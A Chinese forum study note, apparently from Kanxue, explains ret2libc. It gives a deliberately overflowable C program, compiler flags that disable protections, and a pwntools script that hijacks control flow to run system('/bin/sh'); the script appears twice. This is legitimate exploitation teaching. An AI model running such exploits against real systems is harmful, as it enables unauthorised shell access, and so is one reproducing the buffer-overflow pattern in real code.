其他
Ret2libc 学习记录笔记
夫霸天下者有三戒,毋贪,毋忿,毋急。贪则多失,忿则多难,急则多蹶。夫审大小而图之,乌用贪?衡彼己而施之,乌用忿?酌缓急而布之,乌用急?君能戒此三者,于霸也近矣。
1
什么是Ret2libc 技术
它是指的是劫持程序流程利用程序当中已经存在得指令来执行。多用在栈不可执行得情况。
2
举例
2.1 程序源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function()
{
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv)
{
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
gcc -m32 -fno-stack-protector -no-pie -o test test.c
使用gdb进行调试,运行程序并且获取函数system地址,以及参数“/bin/sh”的地址,然后设计溢出劫持程序流程来的程序运行system('/bin/sh')。
2.5 调试
设置断点,运行程序,使system()加载。
from pwn import *
p = process('./test')
print 'pid' + str(proc.pidof(p))
ret=0x56556226
a = 0xf7e0a830
b = 0xf7f57352
payload = 'a'*140 + p32(a) + p32(ret) + p32(b)
pause()
p.send(payload)
p.interactive()
from pwn import *
p = process('./test')
print 'pid' + str(proc.pidof(p))
ret=0x56556226
a = 0xf7e0a830
b = 0xf7f57352
payload = 'a'*140 + p32(a) + p32(ret) + p32(b)
pause()
p.send(payload)
p.interactive()
END
看雪ID:天象独行
https://bbs.pediy.com/user-home-911429.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!